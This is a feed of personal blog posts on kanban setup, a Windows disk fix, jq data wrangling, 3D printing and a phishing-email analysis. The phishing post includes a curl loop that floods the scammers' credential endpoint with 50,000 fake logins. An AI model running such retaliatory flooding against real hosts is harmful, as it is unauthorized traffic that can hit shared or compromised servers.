   I have a lot of projects that stall, but I want to get them finished. Digging them up then presents the problem of what state are they in and what needs to be done. Which can lead to I-cannot-be-bothered syndrome, because I am not progressing the project and time is "eaten".
  </p>
  <p>
   I went looking for a Kanban board. Had to be free, open source, offline and run on my system. In the end I settled on something I used use in the quite distant past
   <a href="https://nullboard.io/">
    Nullboard
   </a>
  </p>
  <p>
   Kanban is simply post-it notes in columns and comes in various guises.
  </p>
  <p>
   The beauty of
   <a href="https://nullboard.io/">
    Nullboard
   </a>
   is that it is essentially just a single HTML file that you run in your browser and that's it! Ideally you want the few files that come with it to get fonts and other niceties but they are no required.
  </p>
  <p>
   All the code is in that single JavaScript file and the data is preserved in the browser's local-storage. This means it is
   <em>
    slightly
   </em>
   volatile. You can manually export the data or set up and agent that backs it up regularly.
  </p>
  <p>
   This does mean that it is very bare-bones, but for my needs and the in balance for the complexity of the alternatives, I will take it.
  </p>
  <p>
   I added it to my local lighttp server and now I have a Kanban board for projects I am trying to progress.
  </p>
  <pre><code>$SERVER["socket"] == "127.0.0.1:8090" {
  server.name = "nullboard.jumpstation.co.uk"
  server.document-root = "/var/www/nullboard.jumpstation.co.uk/"
  server.errorlog = "/var/log/lighttpd/http_error_nullboard.jumpstation.co.uk.log"
  accesslog.filename = "/var/log/lighttpd/http_access_nullboard.jumpstation.co.uk.log"
}
</code></pre>
  <p>
   and updated my /etc/hosts file
  </p>
  <pre><code>    127.0.0.1   nullboard.jumpstation.co.uk
</code></pre>
  <p>
   Will this
   <em>
    actually
   </em>
   get my projects moving *
   <em>
    shrug
   </em>
   *, I hope so.
  </p>
</description>
</item>
<item>
<title>windows ate my hard drive</title>
<pubDate>Sun, 27 Oct 2024 10:19:58 GMT</pubDate>
<link>http://www.jumpstation.co.uk/flog/Oct2024.html#p271020241019</link>
<description>
  <h1>
   Windows ate my hard drive
  </h1>
  <p>
   Alarmist headline apart Windows 10 has been treating my old spinning rust mechanical hard drive as an SSD!!
  </p>
  <p>
   Which has been painful to listen to and completely unexpected.
  </p>
  <p>
   I wanted to test Meta Quest Link app on my desktop setup in Windows before I tried Linux as a benchmark. But every time I tried to get something working I would get non stop hard drive noise, even when it was idle.
  </p>
  <p>
   I checked the disk optimisation and realised my drive was being identified as SSD, which meant it was not being treated nicely.
  </p>
  <p>
   in a Windows Admin command line window
  </p>
  <pre><code>winsat formal
</code></pre>
  <p>
   did actually fix this for me, then 2.5hr of defragging and the drive a lot more settled.
  </p>
  <p>
   If that command doesn't work for you then these were also recommended.
  </p>
  <pre><code>winsat diskformal
winsat disk -drive X
</code></pre>
  <p>
   <em>
    where X is your drive
   </em>
  </p>
  <p>
   Now the Meta quest app is not behaving, but that's a story for another time...
  </p>
</description>
</item>
<item>
<title>shocking jumpstation hacked-ish</title>
<pubDate>Sat, 14 Sep 2024 10:47:06 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Sep2024.html#p140920241047</link>
<description>
  <h1>
   Hacked-ish
  </h1>
  <p>
   Having had the jumpstation.co.uk domain from pre-2000s I get a
   <strong>
    lot
   </strong>
   of spam and I have seen most spam campaigns and techniques. This today made me sit up and pay attention.
  </p>
  <p>
   I am a professional(*) and open these links in Virtual Machines.
   <strong>
    DO NOT TRY THIS AT HOME
   </strong>
  </p>
  <h2>
   Email source
  </h2>
  <pre><code>Subject: Urgent! Email Removal Initiated!
Date: 13 Sep 2024 08:30:17 +0000
Reply-To: jumpstation.co.uk-Mailserver&lt;noreply@jumpstation.co.uk&gt;

Dear Email,

email@jumpstation.co.uk removal from server has been approved and initiated, Due to ignorance of last verification warning.

Removal will occur in exactly 48 hours from now 9/13/2024 8:30:17 a.m.

We recommend that you do any of the below and protect your mailbox and increase email security.

Continue Removal

Cancel Removal

jumpstation.co.uk Webmail Support
</code></pre>
  <p>
   The
   <em>
    Continue Removal
   </em>
   and
   <em>
    Cancel Removal
   </em>
   links go to the same place.
  </p>
  <p>
   But kudos on using noreply @ jumpstation.co.uk
  </p>
  <p>
   The result of following that link was not what I expected.
  </p>
  <h2>
   My website HACKED !! (well, not really)
  </h2>
  <p>
   <img alt="Screen shot of jumpstation domain in scam iframe" src="/home/rednuht/projects/flog/images/Screenshot_2024-09-14_09-42-10.png" title="Screen shot of jumpstation domain in scam iframe"/>
  </p>
  <p>
   The url shows
   <em>
    gateway.lighthouse.storage
   </em>
   but that is my site showing!
  </p>
  <p>
   In the HTML source they are just using an iframe to load my site and then add the modal over the top.
  </p>
  <p>
   What is especially interesting is that use of the JUMPSTATION name and the favicon. If I had been not paying attention and this had gone to a
   <em>
    work
   </em>
   domain I had not used for a while then this might have been genuinely convincing.
  </p>
  <p>
   The favicon is not downloaded by the enemy webserver, converted and served as an image. No, Google seems to have a service for that
  </p>
  <pre><code>https://t0.gstatic.com/faviconV2?client=SOCIAL&amp;type=FAVICON&amp;fallback_opts=TYPE,SIZE,URL&amp;url=http://jumpstation.co.uk&amp;size=16
</code></pre>
  <h2>
   The domain
  </h2>
  <p>
   Many many spam/scam emails I get have numerous redirects that bounce between compromised servers. This one was just uses
   <em>
    gateway.lighthouse.storage
   </em>
   .
  </p>
  <p>
   I followed the root domain and reported it through their contact us form.
  </p>
  <h2>
   Conclusion
  </h2>
  <p>
   FYI the rendered scam web page is just one huge encoded string parsed through
   <em>
    document.write
   </em>
  </p>
  <pre><code>document.write(unescape('%3C%53% ... ')
</code></pre>
  <p>
   Which seems to decode to be also more encoded Javascript. So ... as soon as anti-malware tools catch up to double encoding, the scammers will switch to
   <strong>
    triple
   </strong>
   encoding ??
  </p>
  <p>
   Unsurprisingly entering your password in multiple times redirects to jumpstation.co.uk
  </p>
  <p>
   The login data gets POSTed to
   <strong>
    https://huntanstongolfclub .com/icon/bomb.php
   </strong>
   but I was bored and didn't try investigate an further...
  </p>
  <p>
   But I did bomb the bomb :D
  </p>
  <pre><code>for i in {1..50000}; do curl "https://huntanstongolfclub .com/icon/bomb.php" --data-raw "email=donald@whitehouse .gov&amp;password=chumpette";done
</code></pre>
  <p>
   Sometimes I will take more effort in spamming the spammers with more difficult to filter data.
  </p>
  <h3>
   Professional?
  </h3>
  <p>
   (*) Well not a professional to do with scam/spam, but I am a professional of something.
  </p>
</description>
</item>
<item>
<title>you crop like that</title>
<pubDate>Sat, 17 Aug 2024 11:03:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2024.html#p170820241103</link>
<description>
  <h1>
   Gimp Cropping
  </h1>
  <h2>
   Whats the Gimp?
  </h2>
  <p>
   Gimp is a great FOSS image editor that I have used a lot over the years.
  </p>
  <p>
   <img alt="Gimp screenshot" src="/home/rednuht/projects/flog/images/gimp_crop_001.jpg" title="Gimp screenshot"/>
  </p>
  <h2>
   What I have been doing
  </h2>
  <p>
   When cropping an image I am left with the original image size and the selection sort of floating in the middle.
  </p>
  <p>
   <img alt="gimp screenshot crop selection" src="/home/rednuht/projects/flog/images/gimp_crop_002.jpg" title="gimp screenshot crop selection"/>
  </p>
  <p>
   <img alt="gimp screenshot cropped badly" src="/home/rednuht/projects/flog/images/gimp_crop_003.jpg" title="gimp screenshot cropped badly"/>
  </p>
  <p>
   I would then go to the
   <strong>
    Layer menu
   </strong>
   and
   <strong>
    Layer to Image Size
   </strong>
   . That works but seems like an extra step.
  </p>
  <h2>
   What I am doing now
  </h2>
  <p>
   There is a complete obvious Tool option for Crop
   <strong>
    Delete cropped pixels
   </strong>
  </p>
  <p>
   <img alt="gimp screenshot - crop tool options" src="/home/rednuht/projects/flog/images/gimp_crop_004.jpg" title="gimp screenshot - crop tool options"/>
  </p>
  <p>
   Which clearly says
   <strong>
    Discard non-locked layer data that falls out of the crop region
   </strong>
  </p>
  <p>
   How did I miss that??
  </p>
</description>
</item>
<item>
<title>there is a whole in my furby</title>
<pubDate>Sat, 17 Aug 2024 10:50:29 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Aug2024.html#p170820241050</link>
<description>
  <h1>
   There's a Whole in my Furby!
  </h1>
  <h2>
   First question is what's a Furby?
  </h2>
  <p>
   <a href="https://en.wikipedia.org/wiki/Furby">
    Furbys
   </a>
   were weird small animatronics toys that ... well that was about it. They came out pre-2000s and have been revived multiple times in multiple guises.
  </p>
  <h2>
   Do you want to 3D print a mini Furby?
  </h2>
  <p>
   One of the current Dungeons and Dragons campaigns I am involved in has the players role as toys that have been brought to life. The DM said we could play as any toy and use normal D&amp;D stats.
  </p>
  <p>
   I wanted a mini that was my Furby character.
  </p>
  <h2>
   Whole hole??
  </h2>
  <p>
   Prusa Slicer normally does not just a good job, but a bang-up amazing job of slicing some of the dodgy STL files I use.
  </p>
  <p>
   But it didn't quite manage it this time...
  </p>
  <p>
   <img alt="Prusa slicer showing hole in Furby mini" src="/home/rednuht/projects/flog/images/furby_hole.jpg" title="prusa slicer showing hole in furby mini"/>
  </p>
  <p>
   Those blue lines are "overhangs", which in this case means floating in mid air :(
  </p>
  <p>
   Time to go back to the Blender.
  </p>
  <h2>
   Adding a name plate
  </h2>
  <p>
   As I was back in Blender I decided to add a name-platter. "Yumm" is what Furbies say when you press on their tongue and the name of my character.
  </p>
  <p>
   <img alt="Furby model in blender" src="/home/rednuht/projects/flog/images/furby_whole_front.jpg" title="Furby model in blender"/>
  </p>
  <h2>
   You designed this from scratch?
  </h2>
  <p>
   Well almost. The incredibly simple body shape was from an free STL and the face plate was also not mine.
  </p>
  <p>
   I then used the Sculpting tools to improve the shape, added the tail and head tuft. The ears were included as basic ovals, so they got so sculpting work done.
  </p>
  <p>
   Finally I sculpted the "V" shapes and stuck it all together.
  </p>
  <p>
   <img alt="Furby model in blender - rear" src="/home/rednuht/projects/flog/images/furby_whole_rear.jpg" title="Furby model in blender - rear"/>
  </p>
  <p>
   <img alt="Furby model in blender - side" src="/home/rednuht/projects/flog/images/furby_whole_side.jpg" title="Furby model in blender - side"/>
  </p>
  <h2>
   Conclusion
  </h2>
  <p>
   I am capable of getting off my arse!
  </p>
</description>
</item>
<item>
<title>using jq as a hammer on the qlop emerge log data dump</title>
<pubDate>Mon, 29 Jul 2024 21:23:03 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p290720242123</link>
<description>
  <h1>
   A Taste of
   <em>
    JQ
   </em>
  </h1>
  <p>
   Originally there was the
   <a href="May2024.html#p270520242101">
    JSON manipulation to track the bike riders
   </a>
   , then
   <a href="ul2024.html#p280720242244">
    coercing the Have I Been Pwned data
   </a>
   . Now I have a taste for
   <em>
    jq
   </em>
   I need to use it everywhere \me laughs maniacally.
  </p>
  <p>
   The
   <a href="https://www.gentoo.org/">
    Gentoo
   </a>
   package system
   <a href="https://wiki.gentoo.org/wiki/Portage">
    Portage
   </a>
   tracks all the installs and how long they each took, amongst other things. As some specific packages take a long time to install, I really wanted to be alerted when that was going to happen. I am looking at you,
   <strong>
    Firefox
   </strong>
   .
  </p>
  <p>
   Firefox takes about 45 minutes to install. I am not complaining. The time is simply the fact that the application is constructed from lots of well defined components, each needing compilation.
   <em>
    Lots
   </em>
  </p>
  <p>
   There are are also a couple of other packages that I have noticed can be put in the *
   <em>
    not quick
   </em>
   * bucket. So what if I could take the log data and parse it through
   <em>
    jq
   </em>
   to get a list of the heavy hitters?
  </p>
  <p>
   Accessing the raw
   <em>
    emerge.log
   </em>
   is not a good idea. Especially as a number of utilities exist to interpret the data dump. These include the incredibly quick
   <em>
    qlop
   </em>
  </p>
  <pre><code>qlop -Html
</code></pre>
  <p>
   Will produce a nice list of all the
   <strong>
    L
   </strong>
   ast
   <strong>
    M
   </strong>
   erged packages with the
   <strong>
    T
   </strong>
   imes, all in a
   <strong>
    H
   </strong>
   uman readable format
  </p>
  <p>
   Then just to spoil that serendipitous parameter arrangement, I want
   <em>
    all
   </em>
   merges not just the latest.
  </p>
  <pre><code>qlop -Htm
</code></pre>
  <p>
   results in (cut for brevity)
  </p>
  <pre><code>2024-07-26T00:47:00 &amp;gt;&amp;gt;&amp;gt; virtual/rust: 7 seconds
2024-07-26T00:47:07 &amp;gt;&amp;gt;&amp;gt; app-misc/fastfetch: 20 seconds
2024-07-26T00:47:27 &amp;gt;&amp;gt;&amp;gt; x11-apps/appres: 11 seconds
2024-07-26T00:47:38 &amp;gt;&amp;gt;&amp;gt; dev-cpp/abseil-cpp: 31 seconds
</code></pre>
  <p>
   As you can see, most things take no time at all to install.
  </p>
  <p>
   To find the offenders, let's only look at those that take minutes, more than 9 and clean it up a tad
  </p>
  <pre><code>qlop -Htm | grep minutes | sed -re "s/.+&amp;gt;&amp;gt;&amp;gt;\s//" -e "s/(\S+):\s([0-9]{2}[^,]+).+/\2 \1/"
</code></pre>
  <p>
   gives (cut for brevity)
  </p>
  <pre><code>13 minutes media-gfx/prusaslicer
17 minutes media-gfx/prusaslicer
11 minutes media-gfx/openvdb
16 minutes media-gfx/prusaslicer
</code></pre>
  <p>
   But those duplicates are not very helpful. Need to convert this raw text into JSON.
  </p>
  <pre><code>qlop -Htm | grep minutes | sed -re "s/.+&amp;gt;&amp;gt;&amp;gt;\s//" -e "s/(\S+):\s([0-9]{2}[^,]+).+/\2 \1/" | sed -re "s/^(\S+)\s\S+\s(.+)/{\"mins\":\1, \"name\":\"\2\"}/"
</code></pre>
  <p>
   Results in something that is
   <strong>
    NOT
   </strong>
   <em>
    technically
   </em>
   JSON, but
   <em>
    jq
   </em>
   can handle just fine.
  </p>
  <pre><code>{"mins":13, "name":"media-gfx/prusaslicer"}
{"mins":17, "name":"media-gfx/prusaslicer"}
{"mins":11, "name":"media-gfx/openvdb"}
{"mins":16, "name":"media-gfx/prusaslicer"}
</code></pre>
  <h2>
   The slurp
  </h2>
  <p>
   <em>
    jq
   </em>
   has a specific option for
   <em>
    slurping
   </em>
   up objects in this format. Alternately I could have added a comma to the end of each line and wrapped the results in square brackets...
  </p>
  <p>
   Now I need group the names together and find the maximum number of minutes for each.
  </p>
  <pre><code>group_by(.name) | map({name: .[0].name, minutes: map(.mins) | max})
</code></pre>
  <p>
   <a href="https://jqplay.org/s/zanv1sqzM8C0BqL">
    try it
   </a>
   at jqplay.org
  </p>
  <p>
   Grouping by the
   <em>
    name
   </em>
   and then selecting
   <em>
    max
   </em>
   imum.
  </p>
  <p>
   Then we can get fancy and get the
   <em>
    average
   </em>
   rather than the
   <em>
    max
   </em>
  </p>
  <pre><code>group_by(.name) | map({name: .[0].name, minutes: (map(.mins) | add /length ) })
</code></pre>
  <p>
   <a href="https://jqplay.org/s/aPeiMsOnTW94QiW">
    try it
   </a>
   at jqplay.org
  </p>
  <h2>
   The icing on the cake
  </h2>
  <p>
   Finally, lets put it all together and get the top ten offenders (on average)
  </p>
  <pre><code>group_by(.name) | map({name: .[0].name, minutes: (map(.mins) | add / length) }) | sort_by(.minutes) | reverse | limit(10; .[])
</code></pre>
  <p>
   <a href="https://jqplay.org/s/ELS7wCRTqY7U0Sw">
    try it
   </a>
   at jqplay.org (selects top 1 of 2)
  </p>
  <p>
   this is the
   <em>
    short
   </em>
   complete command line
  </p>
  <pre><code>qlop -Htm | grep minutes | sed -re "s/.+&gt;&gt;&gt;\s//" -e "s/(\S+):\s([0-9]{2}[^,]+).+/\2 \1/" | sed -re "s/^(\S+)\s\S+\s(.+)/{\"mins\":\1, \"name\":\"\2\"}/" | jq -s "group_by(.name) | map({name: .[0].name, minutes: (map(.mins) | add / length) }) | sort_by(.minutes) | reverse | limit(10; .[])"
</code></pre>
  <p>
   resulting in (cut for brevity)
  </p>
  <pre><code>{
  "name": "net-libs/webkit-gtk",
  "minutes": 51.44444444444444
}
{
  "name": "dev-lang/rust",
  "minutes": 42.57142857142857
}
{
  "name": "sys-devel/gcc",
  "minutes": 42.370370370370374
}
{
  "name": "www-client/firefox",
  "minutes": 37.79710144927536
}
</code></pre>
  <p>
   And I have my culprits!
  </p>
</description>
</item>
<item>
<title>using jq as a hammer on the qlop emerge log data dump</title>
<pubDate>Mon, 29 Jul 2024 21:15:41 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p290720242115</link>
<description>
</description>
</item>
<item>
<title>hacking the json have i been pwned</title>
<pubDate>Sun, 28 Jul 2024 22:44:12 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p280720242244</link>
<description>
  <h1>
   Hacking the JSON, Have I Been Pwned?
  </h1>
  <p>
   <a href="Jul2024.html#p280720242123">
    Last post
   </a>
   I explained the how and the why, this time we are going to get a lot more technical.
  </p>
  <p>
   I had my list of breached email addresses and the name of the breaches they had come from. Unfortunately there was no date information. Which account had been breached last?
  </p>
  <pre><code>curl "https://haveibeenpwned.com/api/v3/breaches" -o /tmp/breaches-2024-07-14.json
</code></pre>
  <p>
   Saved a new JSON file with all the breaches to my tmp folder.
  </p>
  <p>
   All I needed to do was match up the breach data with the account data. There were a number of options. From eyeballing it, parsing it line by line, loading it into a SQLite database to dynamically grouping the data on the command line. No prizes for guessing which one I choose.
  </p>
  <p>
   Here is a very simplified JSON file containing email accounts and which breach they have been detected in.
  </p>
  <pre><code>{
  "Breaches": {
    "email1": [
      "OnlinerSpambot",
      "Dropbox"
    ],
    "email2": [
      "OnlinerSpambot"
    ],
    "email3": [
      "Dropbox"
    ]
  }
}
</code></pre>
  <p>
   Here
   <em>
    email1
   </em>
   is detected in to two breaches and
   <em>
    email2
   </em>
   and
   <em>
    email3
   </em>
   are each in only one.
  </p>
  <p>
   Running
  </p>
  <pre><code>jq '.' accounts.json
</code></pre>
  <p>
   will just output the contents as a new JSON object. Great way to make sure the data is valid.
  </p>
  <p>
   The first job is to pull this data apart, ready to be merged with the breach details.
  </p>
  <pre><code>jq '.Breaches | to_entries | map_values({key:.value} + { email: .key }) | map({key:.key[], email:.email})' accounts.json
</code></pre>
  <p>
   <a href="https://jqplay.org/s/Atr424vVmNFEhfI">
    try it
   </a>
   at jqplay.org
  </p>
  <p>
   Breaks down to.
  </p>
  <ul>
   <li>
    Get the the contents of
    <em>
     Breaches
    </em>
   </li>
   <li>
    Convert the array of Breaches to entities
   </li>
   <li>
    Map the values to a new key that combines the breach name and the email account
   </li>
   <li>
    Take the output and map it to a new array
   </li>
   <li>
    Taking the new
    <em>
     key
    </em>
    and
    <em>
     email
    </em>
    properties
   </li>
  </ul>
  <p>
   This gives us
  </p>
  <pre><code>[
  {
    "key": "OnlinerSpambot",
    "email": "email1"
  },
  {
    "key": "Dropbox",
    "email": "email1"
  },
  {
    "key": "OnlinerSpambot",
    "email": "email2"
  },
  {
    "key": "Dropbox",
    "email": "email3"
  }
]
</code></pre>
  <p>
   a nice neat array containing one entry per email account per breach instance.
  </p>
  <h2>
   Joining the breach data
  </h2>
  <pre><code>jq 'JOIN(INDEX(.Sources[]; .Name); .Breaches[]; .key) | add' /tmp/output_from_previous.json
</code></pre>
  <p>
   using the output from the previous command and adding
   <em>
    Sources
   </em>
   for the breach details.
  </p>
  <pre><code>{
  "Breaches": [
    {
      "key": "OnlinerSpambot",
      "email": "email1"
    },
    {
      "key": "Dropbox",
      "email": "email1"
    },
    {
      "key": "OnlinerSpambot",
      "email": "email2"
    },
    {
      "key": "Dropbox",
      "email": "email3"
    }
  ],
  "Sources": [
    {
      "Name": "OnlinerSpambot",
      "Domain": "www.OnlinerSpambot.com",
      "BreachDate": "2005-01-01",
      "AddedDate": "2005-10-26T23:35:45Z",
      "ModifiedDate": "2010-12-10T21:44:27Z"
    },
    {
      "Name": "Dropbox",
      "Domain": "www.Dropbox.com",
      "BreachDate": "2025-03-01",
      "AddedDate": "2025-10-26T23:35:45Z",
      "ModifiedDate": "2027-12-10T21:44:27Z"
    },
    {
      "Name": "000webhost",
      "Domain": "000webhost.com",
      "BreachDate": "2015-03-01",
      "AddedDate": "2015-10-26T23:35:45Z",
      "ModifiedDate": "2017-12-10T21:44:27Z"
    }
  ]
}
</code></pre>
  <p>
   <a href="https://jqplay.org/s/h6X_wnQLkSaRoLj">
    try it
   </a>
   at jqplay.org
  </p>
  <p>
   This breaks down to
  </p>
  <ul>
   <li>
    Creating a new
    <em>
     JOIN
    </em>
   </li>
   <li>
    Using the
    <em>
     INDEX
    </em>
    of
    <em>
     Name
    </em>
    from
    <em>
     Sources
    </em>
   </li>
   <li>
    Taking the
    <em>
     key
    </em>
    from
    <em>
     Breaches
    </em>
   </li>
   <li>
    Adding them together to create a new object
   </li>
  </ul>
  <p>
   This gives us the combined data
  </p>
  <pre><code>{
  "key": "OnlinerSpambot",
  "email": "email1",
  "Name": "OnlinerSpambot",
  "Domain": "www.OnlinerSpambot.com",
  "BreachDate": "2005-01-01",
  "AddedDate": "2005-10-26T23:35:45Z",
  "ModifiedDate": "2010-12-10T21:44:27Z"
}
{
  "key": "Dropbox",
  "email": "email1",
  "Name": "Dropbox",
  "Domain": "www.Dropbox.com",
  "BreachDate": "2025-03-01",
  "AddedDate": "2025-10-26T23:35:45Z",
  "ModifiedDate": "2027-12-10T21:44:27Z"
}
{
  "key": "OnlinerSpambot",
  "email": "email2",
  "Name": "OnlinerSpambot",
  "Domain": "www.OnlinerSpambot.com",
  "BreachDate": "2005-01-01",
  "AddedDate": "2005-10-26T23:35:45Z",
  "ModifiedDate": "2010-12-10T21:44:27Z"
}
{
  "key": "Dropbox",
  "email": "email3",
  "Name": "Dropbox",
  "Domain": "www.Dropbox.com",
  "BreachDate": "2025-03-01",
  "AddedDate": "2025-10-26T23:35:45Z",
  "ModifiedDate": "2027-12-10T21:44:27Z"
}
</code></pre>
  <p>
   Now we just need to sort it by the
   <em>
    AddedDate
   </em>
   .
  </p>
  <p>
   (using the same data as the last command)
  </p>
  <pre><code>jq '[JOIN(INDEX(.Sources[]; .Name); .Breaches[]; .key) | add] | sort_by(.AddedDate,.email)' /tmp/data.json
</code></pre>
  <p>
   <a href="https://jqplay.org/s/UoCbwGPL-NVdWvd">
    try it
   </a>
   at jqplay.org
  </p>
  <p>
   (Note that the
   <em>
    JOINed
   </em>
   data is wrapped in square brackets to create an array before sorting.
  </p>
  <p>
   Now I can clearly see the email account that was breached most recently!
  </p>
  <p>
   FYI the final command list with the real data was
  </p>
  <pre><code>jq '.Breaches | to_entries | map_values({key:.value} + { email: .key }) | map({key:.key[], email:.email})' /tmp/mybreaches.json &gt; /tmp/mybreaches_mapped.json

jq '[JOIN(INDEX(input.[]; .Name); .[]; .key) | add] | sort_by(.AddedDate,.email)' /tmp/mybreaches_mapped.json /tmp/breach_details-2024-07-14.json
</code></pre>
  <p>
   Which I am sure can be reduced further, but that works for me :D
  </p>
</description>
</item>
<item>
<title>i have been pwned again and now need a key</title>
<pubDate>Sun, 28 Jul 2024 21:23:53 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p280720242123</link>
<description>
  <h1>
   I Have Been Pwned
  </h1>
  <p>
   I have been using
   <a href="https://haveibeenpwned.com/">
    Have I Been Pwned (HIBP)
   </a>
   for many many years.
  </p>
  <p>
   If there had been a new breach and my domain was in the email addresses identified, the service would send me an email. The email would simply link to the site and I would perform a
   <em>
    new
   </em>
   domain search. A nice JSON file would be produced listing all the address in all the breaches that HIBP knew about.
  </p>
  <p>
   Then, not so long ago I got an email stating that an address with my domain had been in breach, but the domain search would no longer work. I have too many email addresses at the domain and
   <em>
    must
   </em>
   be a business.
  </p>
  <p>
   This was slightly upsetting. I am not a business and anyone glancing at the myriad of email address could have clearly seen that. I don't like signing up for things, but this was different. The message was clearly indicating that I need to find out what breach contained what new email address!!
  </p>
  <p>
   Troy Hunt to the rescue! I brought up the issue in his live stream for a weekly YouTube video and he referred me to his wife. She then arranged for me to get a 50% code. The service is really important and I had heard the news about charging companies in the past. I want to support HIBP so I paid.
  </p>
  <p>
   As before I got a nice fat JSON file with all the details. I just had to use the API key that my new account generated.
  </p>
  <p>
   I could have manually passed this file with my human eyes, but where is the fun in that?
  </p>
  <p>
   Stay tuned for a deep delve in to JSON command line hacking!
  </p>
</description>
</item>
<item>
<title>working on the tale to a happy modal</title>
<pubDate>Sat, 20 Jul 2024 10:41:30 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p200720241041</link>
<description>
  <p>
   An incident at work lead to the tale of
   <a href="Jul2024.html#p200720241033">
    The little Modal
   </a>
   . I was also tempted to create a full blown children's book, with illustrations and page layout, but decided that might be going a little
   <em>
    too
   </em>
   far.
  </p>
  <p>
   Sometimes these things just need to be written down to get them out of your head :)
  </p>
  <p>
   And, no, it wasn't written by AI, but I am sure this page will be scraped at some point and then will be absorbed into the infamous
   <em>
    pile
   </em>
   .
  </p>
</description>
</item>
<item>
<title>the tale of the little modal</title>
<pubDate>Sat, 20 Jul 2024 10:33:47 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p200720241033</link>
<description>
  <h1>
   The little Modal
  </h1>
  <p>
   Once upon a time there was a
   <em>
    Modal
   </em>
   .
  </p>
  <p>
   This
   <em>
    Modal
   </em>
   had an
   <em>
    Apply
   </em>
   button and for many years people clicked on the 
button just once.
  </p>
  <p>
   When they clicked, the
   <em>
    Modal
   </em>
   would hide and run the expected process.
  </p>
  <p>
   Then one day a user double clicked on the button and the
   <em>
    Modal
   </em>
   ran the expected process twice.
  </p>
  <p>
   The
   <em>
    Modal
   </em>
   thought they were doing a good job, but was told off for doing things twice.
  </p>
  <p>
   The bad
   <em>
    Modal
   </em>
   investigated "
   <strong>
    Debouncing
   </strong>
   " and it seemed like a good thing.
  </p>
  <p>
   But
   <strong>
    debouncing
   </strong>
   did not stop users from clicking lots of times.
  </p>
  <p>
   It sort of worked, as the job of "
   <strong>
    Debouncing
   </strong>
   " is to wait until the user stopped clicking.
  </p>
  <p>
   But how to know when a user had stopped clicking and what if they 
started clicking again?
  </p>
  <p>
   So the naughty
   <em>
    Modal
   </em>
   investigated "
   <strong>
    Throttling
   </strong>
   " to make sure a user could only click a certain number of times per time period.
  </p>
  <p>
   This also sort of worked.
  </p>
  <p>
   What if the user was having issues that meant that the time period 
expired and then they clicked again?
  </p>
  <p>
   The
   <em>
    Modal
   </em>
   didn't want to be called bad again and time could never be 
relied upon.
  </p>
  <p>
   The sad little
   <em>
    Modal
   </em>
   decided that the very first thing that would happen 
when a user clicked the button was that the button would become a
   <em>
    shade
   </em>
   , so it could never ever be clicked again.
  </p>
  <p>
   This worked perfectly and if the button was needed again the
   <em>
    Modal
   </em>
   would just recreate it.
  </p>
  <p>
   Everybody liked this and the
   <em>
    Modal
   </em>
   was happy again.
  </p>
  <p>
   The now happy
   <em>
    Modal
   </em>
   went to tell their friends that there was a simple 
and reusable code snippet that would make any of their buttons happy 
from users double clicking and if they really needed it, there was also 
snippets for "
   <strong>
    Debouncing
   </strong>
   " and "
   <strong>
    Throttling
   </strong>
   ".
  </p>
  <p>
   The End
  </p>
</description>
</item>
<item>
<title>printing my own sider safe gas cabinet mechanism</title>
<pubDate>Wed, 03 Jul 2024 21:12:33 BST</pubDate>
<link>http://www.jumpstation.co.uk/flog/Jul2024.html#p030720242112</link>
<description>
  <p>
   Now it is time for another quick (read: long) 3D printing project.
  </p>
  <h1>
   Gas meter box 3D print handle
  </h1>
  <p>
   The house I moved into was missing the little triangular key mechanism for the Gas meter box outside the front door. The previous occupants had used tape to keep it shut by the looks of the residue. On the whole, it didn't bother me, but every now and then, when the wind really picked up, the door would become conspicuously open.
  </p>
  <h2>
   The patient
  </h2>
  <p>
   <img alt="Gas meter door" src="/home/rednuht/projects/flog/images/gas-meter-print-001_door_outer.jpg" title="Gas meter door"/>
  </p>
  <p>
   <em>
    Gas meter door sans locking mechanism.
   </em>
  </p>
  <p>
   <img alt="Gas meter door inner" src="/home/rednuht/projects/flog/images/gas-meter-print-002_door_inner.jpg" title="Gas meter door inner"/>
  </p>
  <p>
   <em>
    Gas meter inside the door
   </em>
  </p>
  <p>
   <img alt="Gas meter cabinet latch" src="/home/rednuht/projects/flog/images/gas-meter-print-003_cabinet_latch.jpg" title="Gas meter cabinet latch"/>
  </p>
  <p>
   <em>
    Gas meter cabinet latch panel
   </em>
  </p>
  <h2>
   The plan
  </h2>
  <p>
   I could have looked up a replacement lock and printed it, but where is the fun in that?
  </p>
  <p>
   The locking original purpose is pretty moot. All I needed was for it to not blow open during a storm. I wanted a
   <strong>
    handle!
   </strong>
  </p>
  <p>
   The best thing about 3D printing is the iterative nature. So I started with just trying to get the core the right size. Using digital calipers definitely helped and I probably should have done more measuring, but ...
  </p>
  <h2>
   The build
  </h2>
  <p>
   Then I used those same core cylinders and crafted the handle. Finally a back plate that would lock behind the cabinet latch.
  </p>
  <p>
   <img alt="3D printed parts for the gas meter handle" src="/home/rednuht/projects/flog/images/gas-meter-print-004_components_part1.jpg" title="3D printed parts for the gas meter handle"/>
  </p>
  <p>
   <em>
    First iteration of parts printed
   </em>
  </p>
  <p>
   But things didn't quite work out. The Handle broke when I tried to force fit the back plate. Though, it was only printed at 15% fill and not expected to be very strong. I also tried adding a slot in the back plate to allow a small piece of metal to weigh it down when closed. The idea of having the handle horizontal when closed was eventually abandoned.
  </p>
  <p>
   <img alt="3D printed parts iterated for gas meter handle" src="/home/rednuht/projects/flog/images/gas-meter-print-005_components_part2.jpg" title="3D printed parts iterated for gas meter handle"/>
  </p>
  <p>
   <em>
    Second iteration of parts printed and handle broken
   </em>
  </p>
  <p>
   A number of iterations later and I had added a nifty clockwise arrow to the handle. But that just made it stupid when I found the size of the handle didn't support rotating that way. The back plate's length was also catching on the side of the cabinet on the inside.
  </p>
  <p>
   <img alt="3D printed gas meter handle will not rotate" src="/home/rednuht/projects/flog/images/gas-meter-print-007_handle_not_rotating.jpg" title="3D printed gas meter handle will not rotate"/>
  </p>
  <p>
   <em>
    Handle catches on side of cabinet
   </em>
  </p>
  <p>
